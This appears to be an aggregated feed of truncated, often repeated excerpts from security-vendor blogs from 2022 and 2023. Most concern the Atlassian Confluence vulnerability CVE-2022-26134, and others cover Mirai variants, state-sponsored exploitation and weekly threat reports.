CVE-2022-26134 [CRITICAL] Trend is a Launch Partner for Amazon Security Lake
Conformità e rischi
## Trend is a Launch Partner for Amazon Security Lake
Trend Micro is proud to be a launch partner for Amazon Security Lake, which puts the customer in control, making critical data available to them from third-party security and analytics solutions of their choice.
By: Erin Sindelar Jun 02, 2023 Read time: ( words)
Save to Folio
In September 2022, there was a critical bug in Confluence, CVE-2022-26134 , which was under active exploit. Due to the nature of the vulnerability, customers could find out if they were impacted, but they couldn’t necessarily determine the initial infection point. They could have been exploited 3 days, or 90 days, or even 3 years prior. And data older than 90 days isn’t stored by most EDR vendors. Even worse, if a customer had switched EDR
Trendmicro
Trend is a Launch Partner for Amazon Security Lake
blogs_trendmicro·2023-06-02·CVSS 9.8
CVE-2022-26134 [CRITICAL] Trend is a Launch Partner for Amazon Security Lake
Cumplimiento de normativa y riesgos
## Trend is a Launch Partner for Amazon Security Lake
Trend Micro is proud to be a launch partner for Amazon Security Lake, which puts the customer in control, making critical data available to them from third-party security and analytics solutions of their choice.
By: Erin Sindelar Jun 02, 2023 Read time: ( words)
Save to Folio
In September 2022, there was a critical bug in Confluence, CVE-2022-26134 , which was under active exploit. Due to the nature of the vulnerability, customers could find out if they were impacted, but they couldn’t necessarily determine the initial infection point. They could have been exploited 3 days, or 90 days, or even 3 years prior. And data older than 90 days isn’t stored by most EDR vendors. Even worse, if a customer h
Trendmicro
Trend is a Launch Partner for Amazon Security Lake
blogs_trendmicro·2023-06-02·CVSS 9.8
CVE-2022-26134 [CRITICAL] Trend is a Launch Partner for Amazon Security Lake
Compliance & Risks
## Trend is a Launch Partner for Amazon Security Lake
Trend Micro is proud to be a launch partner for Amazon Security Lake, which puts the customer in control, making critical data available to them from third-party security and analytics solutions of their choice.
By: Erin Sindelar Jun 02, 2023 Read time: ( words)
Save to Folio
In September 2022, there was a critical bug in Confluence, CVE-2022-26134 , which was under active exploit. Due to the nature of the vulnerability, customers could find out if they were impacted, but they couldn’t necessarily determine the initial infection point. They could have been exploited 3 days, or 90 days, or even 3 years prior. And data older than 90 days isn’t stored by most EDR vendors. Even worse, if a customer had switched EDR v
Trendmicro
Trend is a Launch Partner for Amazon Security Lake
blogs_trendmicro·2023-06-02·CVSS 9.8
CVE-2022-26134 [CRITICAL] Trend is a Launch Partner for Amazon Security Lake
Compliance & Risks
## Trend is a Launch Partner for Amazon Security Lake
Trend Micro is proud to be a launch partner for Amazon Security Lake, which puts the customer in control, making critical data available to them from third-party security and analytics solutions of their choice.
By: Erin Sindelar 2023/06/02 Read time: ( words)
Save to Folio
In September 2022, there was a critical bug in Confluence, CVE-2022-26134 , which was under active exploit. Due to the nature of the vulnerability, customers could find out if they were impacted, but they couldn’t necessarily determine the initial infection point. They could have been exploited 3 days, or 90 days, or even 3 years prior. And data older than 90 days isn’t stored by most EDR vendors. Even worse, if a customer had switched EDR ven
Checkpoint
20th February – Threat Intelligence Report
blogs_checkpoint·2023-02-20
CVE-2023-21823 20th February – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 20th February – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 20th February, please download our Threat_Intelligence Bulletin
TOP ATTACKS AND BREACHES
Check Point Research identified a campaign against entities in Armenia, using a new version of OxtaRAT – an AutoIt-based backdoor for remote access and desktop surveillance. The threat actors have been targeting human rights organizations, dissidents, and independent media in Azerbaijan for several years, amid rising tens
Unit42
Mirai Variant V3G4 Targets IoT Devices
blogs_unit42·2023-02-15·CVSS 7.5
[HIGH] Mirai Variant V3G4 Targets IoT Devices
## Content Warning
We are providing a content warning because the following contains usage of a racial slur by a threat actor, which is not condoned in any instance by Unit 42. Unit 42 has partially redacted the racial slur to provide researchers with the ability to identify it and check IoCs as needed.
## Executive Summary
From July to December 2022, Unit 42 researchers observed a Mirai variant called V3G4, which was leveraging several vulnerabilities to spread itself. The vulnerabilities exploited include the following:
- CVE-2012-4869: FreePBX Elastix Remote Command Execution Vulnerability
- Gitorious Remote Command Execution Vulnerability
- CVE-2014-9727: FRITZ!Box Webcam Remote Command Execution Vulnerability
- Mitel AWC Remote Command Execution Vulnerability
- CVE-2017-5173: Geut
Unit42
Mirai Variant V3G4 Targets IoT Devices
blogs_unit42·2023-02-15·CVSS 7.5
[HIGH] Mirai Variant V3G4 Targets IoT Devices
Threat Research Center
Threat Research
Vulnerabilities
## Mirai Variant V3G4 Targets IoT Devices
Chao Lei
Zhibin Zhang
Cecilia Hu
Aveek Das
Published: February 15, 2023
Threat Research
Vulnerabilities
Botnet
IoT Vulnerability
Mirai variant
V3G4
## Content Warning
We are providing a content warning because the following contains usage of a racial slur by a threat actor, which is not condoned in any instance by Unit 42. Unit 42 has partially redacted the racial slur to provide researchers with the ability to identify it and check IoCs as needed.
## Executive Summary
From July to December 2022, Unit 42 researchers observed a Mirai variant called V3G4, which was leveraging several vulnerabilities to spread itself. The vulnerabilities exploited include the following:
CV
Tenable
2022 Threat Landscape Report
blogs_tenable·2022-12-27
2022 Threat Landscape Report
by Josef Weiss December 27, 2022
2022 began with concerns over supply chains and Software Bills of Material (SBOM) as organizations worldwide were forced to reconsider how they respond to incidents in anticipation of the next major event. Tenable’s Security Response Team (SRT) continuously monitors the threat landscape throughout the year, always at the forefront of trending vulnerabilities and security threats. This dashboard provides a summary of Tenable data that has been compiled over the past year.
In a year marked by hacktivism, ransomware and attacks targeting critical infrastructure set against a turbulent macroeconomic environment, organizations struggled to keep pace with the demands on cybersecurity teams and resources. Attacks against critical infrastructure remained a common
Tenable
2022 Threat Landscape Report
blogs_tenable·2022-12-21
2022 Threat Landscape Report
by Josef Weiss December 21, 2022
2022 began with concerns over supply chains and Software Bills of Material (SBOM) as organizations worldwide were forced to reconsider how they respond to incidents in anticipation of the next major event. Tenable’s Security Response Team (SRT) continuously monitors the threat landscape throughout the year, always at the forefront of trending vulnerabilities and security threats. This dashboard provides a summary of Tenable data that has been compiled over the past year.
In a year marked by hacktivism, ransomware and attacks targeting critical infrastructure in a turbulent macroeconomic environment, organizations struggled to keep pace with the demands on cybersecurity teams and resources. Attacks against critical infrastructure remained a common concern.
Fortinet
Mirai, RAR1Ransom, and GuardMiner – Multiple Malware Campaigns Target VMware Vulnerability
blogs_fortinet·2022-10-21·CVSS 9.8
CVE-2022-22954 [CRITICAL] Mirai, RAR1Ransom, and GuardMiner – Multiple Malware Campaigns Target VMware Vulnerability
FORTIGUARD LABS THREAT RESEARCH
Mirai, RAR1Ransom, and GuardMiner – Multiple Malware Campaigns Target VMware Vulnerability
By Cara Lin | October 21, 2022
In April, VMware patched a vulnerability CVE-2022-22954. It causes server-side template injection because of the lack of sanitization on parameters “deviceUdid” and “devicetype”. It allows attackers to inject a payload and achieve remote code execution on VMware Workspace ONE Access and Identity Manager. FortiGuard Labs published Threat Signal Report about it and also developed IPS signature in April.
We observed attacks in the wild since then. Most of the payloads focus on probing a victim’s sensitive data, for example, passwords, hosts file, etc. But in August, there were a few particular payloads, which got our interest. They had th
Qualys
NSA Alert: Topmost CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors
blogs_qualys·2022-10-07·CVSS 10.0
[CRITICAL] NSA Alert: Topmost CVEs Actively Exploited By People’s Republic of China State-Sponsored Cyber Actors
## Table of Contents
Detect & Prioritize 20 Publicly Known Vulnerabilities using VMDR 2.0
Identify Vulnerable Assets using Qualys Threat Protection
Recommendations & Mitigations
Contributors
On October 6, 2022, the United States National Security Agency (NSA) released a cybersecurity advisory on the Chinese government—officially known as the People’s Republic of China (PRC) states-sponsored cyber actors’ activity to seek national interests. These malicious cyber activities attributed to the Chinese government targeted, and persist to target, a mixture of industries and organizations in the United States. They provide the top CVEs used since 2020 by the People’s Republic of China (PRC) states-sponsored cyber actors as evaluated by the National Security Agency (NSA), Cybersecurity and I
Qualys
NSA Alert: Topmost CVEs Actively Exploited By PRC Sponsored Cyber Actors | Qualys
blogs_qualys·2022-10-07
NSA Alert: Topmost CVEs Actively Exploited By PRC Sponsored Cyber Actors | Qualys
#### Table of Contents
- Detect & Prioritize 20 Publicly Known Vulnerabilities using VMDR 2.0
- Identify Vulnerable Assets using Qualys Threat Protection
- Recommendations & Mitigations
- Contributors
On October 6, 2022, the United States National Security Agency (NSA) released a cybersecurity advisory on the Chinese government—officially known as the People’s Republic of China (PRC) states-sponsored cyber actors’ activity to seek national interests. These malicious cyber activities attributed to the Chinese government targeted, and persist to target, a mixture of industries and organizations in the United States. They provide the top CVEs used since 2020 by the People’s Republic of China (PRC) states-sponsored cyber actors as evaluated by the National Security Agency (NSA), Cybersecurit
Tenable
Top 20 CVEs Exploited by People's Republic of China State-Sponsored Actors (AA22-279A)
blogs_tenable·2022-10-07
Top 20 CVEs Exploited by People's Republic of China State-Sponsored Actors (AA22-279A)
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Trendmicro
Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
blogs_trendmicro·2022-09-21·CVSS 9.8
CVE-2022-26134 [CRITICAL] Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Exploits & Vulnerabilities
# Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Users are advised to patch immediately: We found exploit samples abusing the Atlassian Confluence vulnerability (CVE-2022-26134) in the wild for malicious cryptocurrency mining.
By: Sunil Bharti
2022/09/21
Read time: ( words)
Save to Folio
We observed the active exploitation of CVE-2022-26134, an unauthenticated remote code execution (RCE) vulnerability with a critical rating of 9.8 in the collaboration tool Atlassian Confluence. The gap is being abused for malicious cryptocurrency mining. Confluence has already released a security advisory detailing the fixes necessary for all affected products, namely all versions of Confluence Server and Confluence Data Ce
Trendmicro
Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
blogs_trendmicro·2022-09-21·CVSS 9.8
CVE-2022-26134 [CRITICAL] Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Exploits & Vulnerabilities
## Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Users are advised to patch immediately: We found exploit samples abusing the Atlassian Confluence vulnerability (CVE-2022-26134) in the wild for malicious cryptocurrency mining.
By: Sunil Bharti Sep 21, 2022 Read time: ( words)
Save to Folio
We observed the active exploitation of CVE-2022-26134 , an unauthenticated remote code execution (RCE) vulnerability with a critical rating of 9.8 in the collaboration tool Atlassian Confluence. The gap is being abused for malicious cryptocurrency mining. Confluence has already released a security advisory detailing the fixes necessary for all affected products, namely all versions of Confluence Server and Confluence Data
Trendmicro
Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
blogs_trendmicro·2022-09-21·CVSS 9.8
CVE-2022-26134 [CRITICAL] Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Exploits & Vulnerabilities
## Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Users are advised to patch immediately: We found exploit samples abusing the Atlassian Confluence vulnerability (CVE-2022-26134) in the wild for malicious cryptocurrency mining.
By: Sunil Bharti 2022/09/21 Read time: ( words)
Save to Folio
We observed the active exploitation of CVE-2022-26134 , an unauthenticated remote code execution (RCE) vulnerability with a critical rating of 9.8 in the collaboration tool Atlassian Confluence. The gap is being abused for malicious cryptocurrency mining. Confluence has already released a security advisory detailing the fixes necessary for all affected products, namely all versions of Confluence Server and Confluence Data C
Trendmicro
Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
blogs_trendmicro·2022-09-21·CVSS 9.8
CVE-2022-26134 [CRITICAL] Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Sfruttamento vulnerabilità
## Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Users are advised to patch immediately: We found exploit samples abusing the Atlassian Confluence vulnerability (CVE-2022-26134) in the wild for malicious cryptocurrency mining.
By: Sunil Bharti Sep 21, 2022 Read time: ( words)
Save to Folio
We observed the active exploitation of CVE-2022-26134 , an unauthenticated remote code execution (RCE) vulnerability with a critical rating of 9.8 in the collaboration tool Atlassian Confluence. The gap is being abused for malicious cryptocurrency mining. Confluence has already released a security advisory detailing the fixes necessary for all affected products, namely all versions of Confluence Server and Confluence Data
Trendmicro
Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
blogs_trendmicro·2022-09-21·CVSS 9.8
CVE-2022-26134 [CRITICAL] Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Exploits & Vulnerabilities
# Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Users are advised to patch immediately: We found exploit samples abusing the Atlassian Confluence vulnerability (CVE-2022-26134) in the wild for malicious cryptocurrency mining.
By: Sunil Bharti
Sep 21, 2022
Read time: ( words)
Save to Folio
We observed the active exploitation of CVE-2022-26134, an unauthenticated remote code execution (RCE) vulnerability with a critical rating of 9.8 in the collaboration tool Atlassian Confluence. The gap is being abused for malicious cryptocurrency mining. Confluence has already released a security advisory detailing the fixes necessary for all affected products, namely all versions of Confluence Server and Confluence Data
Trendmicro
Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
blogs_trendmicro·2022-09-21·CVSS 9.8
CVE-2022-26134 [CRITICAL] Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Ausnutzung von Schwachstellen
## Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Users are advised to patch immediately: We found exploit samples abusing the Atlassian Confluence vulnerability (CVE-2022-26134) in the wild for malicious cryptocurrency mining.
By: Sunil Bharti Sep 21, 2022 Read time: ( words)
Save to Folio
We observed the active exploitation of CVE-2022-26134 , an unauthenticated remote code execution (RCE) vulnerability with a critical rating of 9.8 in the collaboration tool Atlassian Confluence. The gap is being abused for malicious cryptocurrency mining. Confluence has already released a security advisory detailing the fixes necessary for all affected products, namely all versions of Confluence Server and Confluence D
Trendmicro
Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
blogs_trendmicro·2022-09-21·CVSS 9.8
CVE-2022-26134 [CRITICAL] Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Exploits y vulnerabilidades
## Atlassian Confluence Vulnerability CVE-2022-26134 Abused For Cryptocurrency Mining, Other Malware
Users are advised to patch immediately: We found exploit samples abusing the Atlassian Confluence vulnerability (CVE-2022-26134) in the wild for malicious cryptocurrency mining.
By: Sunil Bharti Sep 21, 2022 Read time: ( words)
Save to Folio
We observed the active exploitation of CVE-2022-26134 , an unauthenticated remote code execution (RCE) vulnerability with a critical rating of 9.8 in the collaboration tool Atlassian Confluence. The gap is being abused for malicious cryptocurrency mining. Confluence has already released a security advisory detailing the fixes necessary for all affected products, namely all versions of Confluence Server and Confluence Dat
Unit42
Zero-Day Exploit Detection Using Machine Learning
blogs_unit42·2022-09-16
Zero-Day Exploit Detection Using Machine Learning
Threat Research Center
Threat Research
Vulnerabilities
## Zero-Day Exploit Detection Using Machine Learning
Jin Chen
Lei Xu
Andrew Guan
Zhibin Zhang
Yu Fu
Published: September 16, 2022
Threat Research
Vulnerabilities
Command injection
Deep learning
Machine Learning
Network security
SQL injection
Threat detection
Zero-days
## Executive Summary
Code injection is an attack technique widely used by threat actors to launch arbitrary code execution on victim machines through vulnerable applications. In 2021, the Open Web Application Security Project (OWASP) ranked it as third in the top 10 web application security risks .
Given the popularity of code injection in exploits, signatures with pattern matches are commonly used to identify the anomalies in network traffic (mos
Unit42
Zero-Day Exploit Detection Using Machine Learning
blogs_unit42·2022-09-16
Zero-Day Exploit Detection Using Machine Learning
## Executive Summary
Code injection is an attack technique widely used by threat actors to launch arbitrary code execution on victim machines through vulnerable applications. In 2021, the Open Web Application Security Project (OWASP) ranked it as third in the top 10 web application security risks.
Given the popularity of code injection in exploits, signatures with pattern matches are commonly used to identify the anomalies in network traffic (mostly URI path, header string, etc.). However, injections can happen in numerous forms, and a simple injection can easily evade a signature-based solution by adding extraneous strings. Therefore, signature-based solutions will often fail on the variants of the proof of concept (PoC) of Common Vulnerabilities and Exposures (CVEs). In this blog, we e
Qualys
Atlassian Confluence: Questions for Confluence App Hardcoded Credentials Vulnerability (CVE-2022-26138) | Qualys
blogs_qualys·2022-08-17·CVSS 9.8
CVE-2022-26138 [CRITICAL] Atlassian Confluence: Questions for Confluence App Hardcoded Credentials Vulnerability (CVE-2022-26138) | Qualys
#### Table of Contents
- About CVE-2022-26138
- Hardcoded Credentials Vulnerability
- Detecting the Vulnerability with Qualys Web Application Scanning
- Qualys WAS Report
- Solution & Mitigation
- Credit
- CVE Details:
Over the last few months, Atlassian Confluence has increasingly become a target for attackers. In June 2022, a critical severity OGNL Remote Code Execution vulnerability was disclosed (CVE-2022-26134). More recently, CVE-2022-26138 was disclosed on social media platforms in July 2022.
In CVE-2022-26138, a Confluence user account is created by the Questions for Confluence app with hardcoded credentials stored inside the plugin jar file available on Atlassian packages. An attacker with knowledge of these credentials could log into the Confluence application and access all c
Qualys
Atlassian Confluence: Questions for Confluence App Hardcoded Credentials Vulnerability (CVE-2022-26138)
blogs_qualys·2022-08-17·CVSS 9.8
CVE-2022-26138 [CRITICAL] Atlassian Confluence: Questions for Confluence App Hardcoded Credentials Vulnerability (CVE-2022-26138)
## Table of Contents
About CVE-2022-26138
Hardcoded Credentials Vulnerability
Detecting the Vulnerability with Qualys Web Application Scanning
Qualys WAS Report
Solution & Mitigation
Credit
CVE Details:
Over the last few months, Atlassian Confluence has increasingly become a target for attackers. In June 2022, a critical severity OGNL Remote Code Execution vulnerability was disclosed (CVE-2022-26134). More recently, CVE-2022-26138 was disclosed on social media platforms in July 2022.
In CVE-2022-26138, a Confluence user account is created by the Questions for Confluence app with hardcoded credentials stored inside the plugin jar file available on Atlassian packages . An attacker with knowledge of these credentials could log into the Confluence application and access all contents w
Sentinelone
What Are Initial Access Brokers? - A Comprehensive Guide 101
blogs_sentinelone·2022-08-17
What Are Initial Access Brokers? - A Comprehensive Guide 101
From ransomware operators like LockBit and BlackBasta to APTs striking for or against Russian or Chinese interests, threat actors of various stripes all need one thing to get their operations off the ground: initial access to an organization’s network .
Such access can be bought on a variety of trading forums from cyber criminals who specialize in running low-risk phishing campaigns and credential theft operations, or in scanning enterprise networks for known remote code execution (RCE) software vulnerabilities.
Because of the ease with which initial access can now be obtained thanks to poor patch management and lax controls over identity and user credentials, there exists a market where supply is outstripping demand, and vendors involved in selling initial access are lowering their pric
Sentinelone
What Are Initial Access Brokers? - A Comprehensive Guide 101
blogs_sentinelone·2022-08-17
What Are Initial Access Brokers? - A Comprehensive Guide 101
From ransomware operators like LockBit and BlackBasta to APTs striking for or against Russian or Chinese interests, threat actors of various stripes all need one thing to get their operations off the ground: initial access to an organization’s network.
Such access can be bought on a variety of trading forums from cyber criminals who specialize in running low-risk phishing campaigns and credential theft operations, or in scanning enterprise networks for known remote code execution (RCE) software vulnerabilities.
Because of the ease with which initial access can now be obtained thanks to poor patch management and lax controls over identity and user credentials, there exists a market where supply is outstripping demand, and vendors involved in selling initial access are lowering their price
Checkpoint
4th July – Threat Intelligence Report
blogs_checkpoint·2022-07-04
CVE-2021-34473 4th July – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 4th July – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 4th July, please download our Threat Intelligence Bulletin .
Top Attacks and Breaches
Iranian steel manufacturing plants have suffered a cyberattack which reportedly forced them to halt production. The hacker group Gonjeshke Darande, which has previously attacked the Iranian railway system, assumed responsibility for the attack. Check Point Research found and analyzed a malware sample used as part of this attack,
Qualys
Atlassian Confluence OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134)
blogs_qualys·2022-06-29·CVSS 9.8
CVE-2022-26134 [CRITICAL] Atlassian Confluence OGNL Injection Remote Code Execution (RCE) Vulnerability (CVE-2022-26134)
## Table of Contents
About CVE-2022-26134
Exploit Analysis
Source Code Analysis
Detecting the Vulnerability with Qualys WAS
Solution
Credits
References:
Contributors
On June 02, 2022, Atlassian published a security advisory about a critical severity Unauthenticated Remote Code Execution vulnerability affecting Confluence Server and Data Center. According to the advisory, the vulnerability is being actively exploited and Confluence Server and Data Center versions after 1.3.0 are affected. The vulnerability is tracked as CVE-2022-26134 with 9.8 CVSSv3 score with multiple proof of concept exploits released by security researchers on GitHub.
Qualys Web Application Scanning released QID 150523 on June 08, 2022, to detect CVE-2022-26134, the detection sends HTTP GET request with a spec
Qualys
Atlassian Confluence OGNL Injection RCE Vulnerability (CVE‑2022‑26134) | Qualys
blogs_qualys·2022-06-29·CVSS 9.8
CVE-2022-26134 [CRITICAL] Atlassian Confluence OGNL Injection RCE Vulnerability (CVE‑2022‑26134) | Qualys
#### Table of Contents
- About CVE-2022-26134
- Exploit Analysis
- Source Code Analysis
- Detecting the Vulnerability with Qualys WAS
- Solution
- Credits
- References:
- Contributors
On June 02, 2022, Atlassian published a security advisory about a critical severity Unauthenticated Remote Code Execution vulnerability affecting Confluence Server and Data Center. According to the advisory, the vulnerability is being actively exploited and Confluence Server and Data Center versions after 1.3.0 are affected. The vulnerability is tracked as CVE-2022-26134 with 9.8 CVSSv3 score with multiple proof of concept exploits released by security researchers on GitHub.
Qualys Web Application Scanning released QID 150523 on June 08, 2022, to detect CVE-2022-26134, the detection sends HTTP GET request
Volexity
DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach
blogs_volexity·2022-06-15
DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach
Threat Intelligence
# DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach
June 15, 2022
Steven Adair, Tom Lancaster, and Volexity Threat Research
Volexity frequently works with individuals and organizations heavily targeted by sophisticated, motivated, and well-equipped threat actors from around the world. Some of these individuals or organizations are attacked infrequently or on an irregular basis, while others see a barrage of attacks nearly every week. Regardless of the attack frequency, Volexity keeps its guard up, looking for new and old threats however they manifest themselves.
Earlier this year, Volexity detected a sophisticated attack against a customer that is heavily targeted by multiple Chinese advanced persistent threat (APT) groups. This particula
Volexity
DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach
blogs_volexity·2022-06-15
DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach
Threat Intelligence
## DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach
June 15, 2022
Steven Adair, Tom Lancaster, and Volexity Threat Research
Volexity frequently works with individuals and organizations heavily targeted by sophisticated, motivated, and well-equipped threat actors from around the world. Some of these individuals or organizations are attacked infrequently or on an irregular basis, while others see a barrage of attacks nearly every week. Regardless of the attack frequency, Volexity keeps its guard up, looking for new and old threats however they manifest themselves.
Earlier this year, Volexity detected a sophisticated attack against a customer that is heavily targeted by multiple Chinese advanced persistent threat (APT) groups. This particul
Fortinet
Guidance On an Ongoing Hacktivist Operation #Opspatuk Conducted by The Malaysian Hacktivist Threat Group 'DragonForce' Against Indian Organizations | FortiGuard Labs
blogs_fortinet·2022-06-15
Guidance On an Ongoing Hacktivist Operation #Opspatuk Conducted by The Malaysian Hacktivist Threat Group 'DragonForce' Against Indian Organizations | FortiGuard Labs
FORTIGUARD LABS THREAT RESEARCH
Guidance On an Ongoing Hacktivist Operation #Opspatuk Conducted by The Malaysian Hacktivist Threat Group 'DragonForce' Against Indian Organizations
By Carl Windsor, Simran Kothari, Ankita Dasgupta, and FortiRecon Team | June 15, 2022
The 'OpsPatuk' operation began on June 6, 2022. That’s when the Malaysian hacktivist group known as DragonForce began targeting India in retaliation for controversial comments made by a BJP spokesperson.
At the time of writing, this operation has compromised over 102 websites and continues to list new targets on various social media platforms, including Telegram, Twitter, and their own DragonForce website.
Widely targeted sectors include financial organizations, government entities, and educational institutions. FortiGuard T
Checkpoint
13th June – Threat Intelligence Report
blogs_checkpoint·2022-06-13
CVE-2022-30190 13th June – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 13th June – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 13th June, please download our Threat Intelligence Bulletin .
Top Attacks and Breaches
The Italian municipality of Palermo has been victim of a ransomware attack that caused a large-scale service outage affecting over a million people. The attack was claimed by the Vice Society ransomware group, which used the double extortion ransomware
Shields Health Care Group, Massachusetts-based medical services provider, h
Checkpoint
6th June – Threat Intelligence Report
blogs_checkpoint·2022-06-06·CVSS 7.8
CVE-2022-30190 [HIGH] 6th June – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 6th June – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 6th June, please download our Threat Intelligence Bulletin .
Top Attacks and Breaches
An unaffiliated threat actor has been initialing a phishing campaign targeting government entities in Europe and the U.S, exploiting the recently disclosed Microsoft Office “Follina” vulnerability, tracked CVE-2022-30190.
Check Point IPS, Threat Emulation and Harmony Endpoint provide protection against this threat (Microsoft Sup
Talos
Threat Advisory: Atlassian Confluence zero-day vulnerability under active exploitation
blogs_talos·2022-06-04·CVSS 9.8
CVE-2022-26134 [CRITICAL] Threat Advisory: Atlassian Confluence zero-day vulnerability under active exploitation
## Threat Advisory: Atlassian Confluence zero-day vulnerability under active exploitation
Cisco Talos is monitoring reports of an actively exploited zero-day vulnerability in Confluence Data Center and Server. Confluence is a Java-based corporate Wiki employed by numerous enterprises. At this time, it is confirmed that all supported versions of Confluence are affected by this vulnerability.
## Vulnerability Details
The vulnerability, CVE-2022-26134, is reportedly associated with command injection. An attacker could exploit this vulnerability to execute remote code and, per reports , is being actively exploited in the wild. The attacks delivered several payloads, including the in-memory BEHINDER implant as well as webshells, including China Chopper . In addition to the initial attacks ou
Unit42
Threat Brief: Atlassian Confluence Remote Code Execution Vulnerability (CVE-2022-26134) (Updated)
blogs_unit42·2022-06-04·CVSS 9.8
CVE-2022-26134 [CRITICAL] Threat Brief: Atlassian Confluence Remote Code Execution Vulnerability (CVE-2022-26134) (Updated)
## Executive Summary
On June 2, Volexity reported that over Memorial Day weekend, they identified suspicious activity on two internet-facing servers running Atlassian’s Confluence Server application. After analysis of the compromise, Volexity determined the initial foothold was the result of a remote code execution vulnerability in Confluence Server and Data Center. The details were reported to Atlassian on May 31, and Atlassian has since assigned the issue to CVE-2022-26134.
Based on the security advisory issued by Atlassian, it appears that the exploit is indeed an unauthenticated, remote code execution vulnerability. If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems. At the time of publication, the Palo Alto Networ
Talos
Threat Advisory: Atlassian Confluence zero-day vulnerability under active exploitation
blogs_talos·2022-06-04·CVSS 9.8
CVE-2022-26134 [CRITICAL] Threat Advisory: Atlassian Confluence zero-day vulnerability under active exploitation
Cisco Talos is monitoring reports of an actively exploited zero-day vulnerability in Confluence Data Center and Server. Confluence is a Java-based corporate Wiki employed by numerous enterprises. At this time, it is confirmed that all supported versions of Confluence are affected by this vulnerability.
## Vulnerability Details
The vulnerability, CVE-2022-26134, is reportedly associated with command injection. An attacker could exploit this vulnerability to execute remote code and, per reports, is being actively exploited in the wild. The attacks delivered several payloads, including the in-memory BEHINDER implant as well as webshells, including China Chopper. In addition to the initial attacks outlined in the report, researchers confirmed additional, continued exploitation is ongoing. Th
Unit42
Threat Brief: Atlassian Confluence Remote Code Execution Vulnerability (CVE-2022-26134) (Updated)
blogs_unit42·2022-06-04·CVSS 9.8
CVE-2022-26134 [CRITICAL] Threat Brief: Atlassian Confluence Remote Code Execution Vulnerability (CVE-2022-26134) (Updated)
Threat Research Center
High Profile Threats
Vulnerabilities
## Threat Brief: Atlassian Confluence Remote Code Execution Vulnerability (CVE-2022-26134) (Updated)
Abhishek Anbazhagan
Shawn Westfall
Josh Grunzweig
Daniela Shalev
Eli Barr
Published: June 3, 2022
High Profile Threats
Threat Research
Vulnerabilities
Confluence Server and Data Center
CVE-2022-26134
Remote Code Execution
## Executive Summary
